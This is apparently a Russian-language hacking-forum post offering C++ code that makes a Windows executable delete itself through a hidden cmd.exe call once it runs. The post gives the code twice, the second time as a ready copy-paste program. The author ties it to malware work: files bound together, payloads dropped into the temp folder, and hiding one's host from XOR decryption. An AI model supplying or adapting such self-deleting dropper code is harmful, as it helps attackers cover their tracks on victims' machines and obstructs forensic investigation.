Код: void autoDelete() { TCHAR szFile[MAX_PATH], szCmd[MAX_PATH]; if ((GetModuleFileName(0, szFile, MAX_PATH) != 0) && (GetShortPathName(szFile, szFile, MAX_PATH) != 0)) { lstrcpy(szCmd, "/c del "); lstrcat(szCmd, szFile); lstrcat(szCmd, " >> NUL"); if(GetEnvironmentVariable("ComSpec", szFile, MAX_PATH) != 0) ShellExecute(0, 0, szFile, szCmd, 0, SW_HIDE); } exit(0); } Как использовать - дело ваше. Возможно вы боитесь за свой хост, думая, что кто то дешифрует ваш Xor-шифр. В моем случае - приходится клеить файлы, после открытия происходит дроп в темп, поэтому у меня самоудаление более применимо. Собственно, для самых маленьких: Спойлер: C+P Код: #include <iostream> #include <windows.h> void autoDelete() { TCHAR szFile[MAX_PATH], szCmd[MAX_PATH]; if ((GetModuleFileName(0, szFile, MAX_PATH) != 0) && (GetShortPathName(szFile, szFile, MAX_PATH) != 0)) { lstrcpy(szCmd, "/c del "); lstrcat(szCmd, szFile); lstrcat(szCmd, " >> NUL"); if (GetEnvironmentVariable("ComSpec", szFile, MAX_PATH) != 0) ShellExecute(0, 0, szFile, szCmd, 0, SW_HIDE); } exit(0); } int main() { autoDelete(); return 0; }